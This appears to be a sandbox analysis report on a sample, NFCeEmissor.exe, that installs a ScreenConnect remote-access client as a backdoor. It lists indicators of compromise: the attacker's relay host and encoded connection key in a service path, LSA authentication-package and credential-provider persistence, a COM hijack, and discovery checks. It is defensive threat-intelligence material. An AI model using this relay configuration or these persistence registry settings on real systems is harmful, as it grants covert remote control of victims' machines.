5be22549da694e3d6493ca85d0eeba5b0903ad6c98a3770427cd2947962b4bc2

Analysis

max time kernel
149s
max time network
141s
platform
windows10-2004_x64
resource
win10v2004-20251016-en
resource tags

arch:x64arch:x86image:win10v2004-20251016-enlocale:en-usos:windows10-2004-x64system
submitted
27/11/2025, 12:47

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
NFCeEmissor.exe
Size 12.0MB
Sample251127-p1bclawpdx
SHA256 5be22549da694e3d6493ca85d0eeba5b0903ad6c98a3770427cd2947962b4bc2
MD5 63d44d7fccdf666da22a775a1b72cd6e
SHA1 b7301a8e6d702e9dc01f4978bc8c176e810f2305
SHA512 8be47fe99f1472aef26bac224e9454c7ef8ba436c8f48069909048bd9a76b30af959ec7bcd3235b089711074993c958592d76c404d14747fa697ca32dfeae34d
SSDEEP 196608:VRefefPVF1+sPlEFFUdq4ypH1+sPlEFFU11+sPlEFFU/1+sPlEFFUx:VDPNSF8qtpVPNSFAPNSFsPNSFo
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

backdoor discovery persistence privilege_escalation ransomware rat

Malware Config

Signatures

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (1e1e0cdf908eddf1)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (1e1e0cdf908eddf1)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=instance-jrildx-relay.screenconnect.com&p=443&s=32ec9287-8daf-41f7-858f-33aa5a870af8&k=BgIAAACkAABSU0ExAAgAAAEAAQBJ8w2%2b%2fCZDnkkT6rmdV6hIYhdQAxG%2f8FWhMLTfZnnOHPemyglGh2fBFOHI1LEf4DcisnAkXvRDNCWfjchQXMxOEZh9LwRjhYZP0xfNKDLVn79EUEL9Mkn%2bI8fBiO1pBfS28g3ZgxJy3CGPQJIUiIkN1Fxw%2bo23I5K95cKoiM96NlbTnf2P87gWoO9OB2rCri7U0DUXYBxXqsbdmSIm7jWfpzVEQDQR7If%2bCl%2fweNs2bljkU7xKFulTc8rJeOWqWtJxFpm9HEBJ0UZbXB1veGEerwoSuJNj9LXPFe3y7phh%2beH12Fko3ukFPTWy6LPwsdQg1y95wsQWBnNo4I9RE1Gv&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAwoho2bo3Q029JFlL4QknZQAAAAACAAAAAAAQZgAAAAEAACAAAAAUIXSBBGMqlNATyoTLOKB6J51XG9bA6oqL71YOfLWUrQAAAAAOgAAAAAIAACAAAAB3gm1lClHfiY%2fgXauQSU8e8QFDgcGWB6%2f2vNMdI%2f6SL6AEAADjGGgwq2gvdgNfugdGRcVH28JZ%2fzQNF9ns8pW%2f91WLTfHWmsrnGtLhOwSHE1aEk%2ftqag2K2t8rfXAnsGrHuZKrLDXKb%2bbxgwTpZRv0LfpC3gjx6nmuVNcwmwpC63j8vDrHK4sl7EDtnanb7hvcK1C5Ztrw%2fSaQSc%2fJ9nvIYA%2bnZSfFC1XfELCEp97ZnT7%2b9w0YXPlvRvCo6%2fXTPNYGjkpjutIvr0iQ8NnttYRfwZfBHvx7pGKfor04cuXqA3Chkf3vmJkJvr7oEXNKukVFPV6H%2fSGOrBlVNHzgn0kCt2Qg1MEEQvcWVoD6Nd5zx3tOYeBs1QCT91G9%2bF%2bbZpHbzqpYr6a87JtCD8a9A6aZ%2bOR35WP0CYh0tC1FB9GoQNf89i255nptSknG5ZEtpESOe9gdBmlbtKqJ5afFtNs2iR9p%2b25YR7z6QNCZulrYLApq%2bTdt0aGgI6I1FU7dsM4qEm1PvOTYBkii29HKT0J1ljwdjMWDxhuUni13TBa9Yowvd5tpNzrBVU96bWyVf5q%2bfc4wxecCKOf3QJFeaGDbD57c4YHVDaUMPCCrEHc8QNs7HQydcr%2bJ%2frFnGaoUZHxXwKkarued4uWSl%2f8khGY7Z%2f4HfSgcPNxV1jmN28MGDBI5PZdTX6ziETf0OLJrud4MMJmon979VXQK6v%2fzDeDvqRC183s9YcR%2bIntEjWFOcTw9KV9%2f0QPDI5%2f2QliXe4EyMOM6l2KTNOYrCmMIqtdE9gz4q4yvjCqlkvzAAsoJXsNSLiQV1zoU0i4G9ETJKzblYl7EYW8iBPEdy7WdTHhCEflmQLreCbvp2Gruifp%2fVH3R%2bLzE18NdS1GMjRrxYIdo6czRFTAXxC5z444cinTsuaZaOaSQJK50QA5qx6Wj6iAq25qJaNIMllEpgttOpGJBl2KYkWt1t6bDY7ZX1jlTQQQ7ffOX1RcaPyLiNq4ncq5hZPIMzK9DJVGXp3oT4xkg5SlGS81cmu0N1I9nWLxyF1N%2faDZKdmPGrYbdi%2bDUODD3mIxj8DagF29lo1wSFSHNkyPD1uvwillQVtX6ls44%2bFnN%2fN%2bfeUk6oyw5fO9vC4CBe%2bKE4F9jVBgyAQ1QWlZ9WwuoS4oSIAfsJ01ybS6xUXLq8cR4zrrjXD%2bwIH6JuXguZyQwvzy2R6M1WAmLofN15MtCIeWiaDZkFfVcpt3QBBAzIaou4l%2bAAkXhyzVt22vfzQLvIkaaxK81VlQDUlDdNyl%2fiWwwKLxg0%2fFVYd5eBjp8rPq2eXZhwRaGVo%2b%2f42nzeLPcwAeNMnTfdCd%2bFPI6h0OUm5do%2bHdTP0AM3pBaOSQNd%2bNNeynH3yWHMzp%2fCjHHXv3aFO7mCRxXn09nlSylO%2bgwZH7c9X3D7ygHyXCYrg%2frzZJLgSWvNlRdqRRGrJbcvGedSxYT3Osa6CS%2blfc6%2fqdiztffDRhfsMZNvf1jdPNqIxuV6%2btiJsJkjFiFcN1jJ%2f6kHNKmb%2fSua2s0VSlsdCOvmQmZITcS6WKodMpbOjvKgu0xysMyv5RBIifavqkFOxCCJApHcEYNQNatCzLwG3OOVlKvUi3GNxipWr%2fU0DIBPUAAAAA5oxZ7jTZveZhBsbJjQmjbDrK5%2f5kjbl8yxfK01EywYX7LCAD2esB6UBUvckkGcEbWccT4orbBRCD7YayCc2Qj&c=Clientes%20game&c=&c=&c=&c=&c=&c=&c=\""	ScreenConnect.ClientService.exe

ConnectWise ScreenConnect remote access tool
ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.
backdoor rat

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
12	2864	msiexec.exe
14	2864	msiexec.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800310065003100650030006300640066003900300038006500640064006600310029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-389786158-2176552546-1679795138-1000\Control Panel\International\Geo\Nation	NFCeEmissor.exe

Drops file in System32 directory 27 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\cyhsmrsn.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\vgmmenes.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\2miq4iac.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\g2t3wjyl.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\g2t3wjyl.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\fadvlrc0.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\vgmmenes.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\lho0d5jn.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\lho0d5jn.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\vlm4vps4.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\vlm4vps4.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\a4y1or33.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\2miq4iac.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\2miq4iac.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\a4y1or33.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\cyhsmrsn.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\g2t3wjyl.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\nkwlhuys.tmp	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\nkwlhuys.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\fadvlrc0.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\vgmmenes.tmp	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\vlm4vps4.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\a4y1or33.tmp	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\cyhsmrsn.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\nkwlhuys.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\fadvlrc0.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1e1e0cdf908eddf1)\user.config	ScreenConnect.ClientService.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Drops file in Program Files directory 16 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (1e1e0cdf908eddf1)\ScreenConnect.Client.dll	msiexec.exe

Drops file in Windows directory 13 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\SourceHash{BDF233AE-0216-44CA-0806-41D6B653B2BA}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIEB98.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIED9E.tmp	msiexec.exe
File created	C:\Windows\Installer\wix{BDF233AE-0216-44CA-0806-41D6B653B2BA}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIEC16.tmp	msiexec.exe
File created	C:\Windows\Installer\e57e968.msi	msiexec.exe
File created	C:\Windows\Installer\{BDF233AE-0216-44CA-0806-41D6B653B2BA}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\{BDF233AE-0216-44CA-0806-41D6B653B2BA}\DefaultIcon	msiexec.exe
File created	C:\Windows\Installer\e57e966.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e57e966.msi	msiexec.exe

Executes dropped EXE 2 IoCs

pid	Process
5176	ScreenConnect.ClientService.exe
5952	ScreenConnect.WindowsClient.exe

Loads dropped DLL 22 IoCs

pid	Process
6008	MsiExec.exe
1380	rundll32.exe
1380	rundll32.exe
1380	rundll32.exe
1380	rundll32.exe
1380	rundll32.exe
1380	rundll32.exe
1380	rundll32.exe
1380	rundll32.exe
1380	rundll32.exe
5376	MsiExec.exe
900	MsiExec.exe
5176	ScreenConnect.ClientService.exe
5176	ScreenConnect.ClientService.exe
5176	ScreenConnect.ClientService.exe
5176	ScreenConnect.ClientService.exe
5176	ScreenConnect.ClientService.exe
5176	ScreenConnect.ClientService.exe
5176	ScreenConnect.ClientService.exe
5176	ScreenConnect.ClientService.exe
5176	ScreenConnect.ClientService.exe
5176	ScreenConnect.ClientService.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	NFCeEmissor.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000d847e455a22d09180000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000d847e4550000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3a000000ffffffff000000000700010000680900d847e455000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1dd847e455000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000d847e45500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe

Modifies registry class 37 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EA332FDB6120AC448060146D6B352BAB\PackageCode = "EA332FDB6120AC448060146D6B352BAB"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EA332FDB6120AC448060146D6B352BAB\Language = "1033"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-3137-B7EFB0257CF5}\InprocServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-3137-B7EFB0257CF5}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-1e1e0cdf908eddf1\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-1e1e0cdf908eddf1\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (1e1e0cdf908eddf1)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-3137-B7EFB0257CF5}\ = "ScreenConnect Client (1e1e0cdf908eddf1) Credential Provider"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\EA332FDB6120AC448060146D6B352BAB\Full	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-1e1e0cdf908eddf1\shell\open\command	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EA332FDB6120AC448060146D6B352BAB\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EA332FDB6120AC448060146D6B352BAB\SourceList\Net	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EA332FDB6120AC448060146D6B352BAB\SourceList\Media	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-1e1e0cdf908eddf1\UseOriginalUrlEncoding = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-1e1e0cdf908eddf1\shell	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-3137-B7EFB0257CF5}	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EA332FDB6120AC448060146D6B352BAB\AdvertiseFlags = "388"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EA332FDB6120AC448060146D6B352BAB\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\25.8.1.9447\\1e1e0cdf908eddf1\\"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EA332FDB6120AC448060146D6B352BAB\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EA332FDB6120AC448060146D6B352BAB\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EA332FDB6120AC448060146D6B352BAB\SourceList\Media\1 = ";"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EA332FDB6120AC448060146D6B352BAB	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EA332FDB6120AC448060146D6B352BAB\Version = "419954689"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-1e1e0cdf908eddf1	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\EA332FDB6120AC448060146D6B352BAB	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\692DB7F2A68E0F7DE1E1C0FD09E8DD1F\EA332FDB6120AC448060146D6B352BAB	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EA332FDB6120AC448060146D6B352BAB\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\25.8.1.9447\\1e1e0cdf908eddf1\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-1e1e0cdf908eddf1\URL Protocol	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EA332FDB6120AC448060146D6B352BAB\ProductName = "ScreenConnect Client (1e1e0cdf908eddf1)"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EA332FDB6120AC448060146D6B352BAB\Assignment = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EA332FDB6120AC448060146D6B352BAB\ProductIcon = "C:\\Windows\\Installer\\{BDF233AE-0216-44CA-0806-41D6B653B2BA}\\DefaultIcon"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-1e1e0cdf908eddf1\shell\open	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\692DB7F2A68E0F7DE1E1C0FD09E8DD1F	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EA332FDB6120AC448060146D6B352BAB\SourceList\PackageName = "ScreenConnect.ClientSetup.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-1e1e0cdf908eddf1	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-3137-B7EFB0257CF5}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (1e1e0cdf908eddf1)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EA332FDB6120AC448060146D6B352BAB\AuthorizedLUAApp = "0"	msiexec.exe
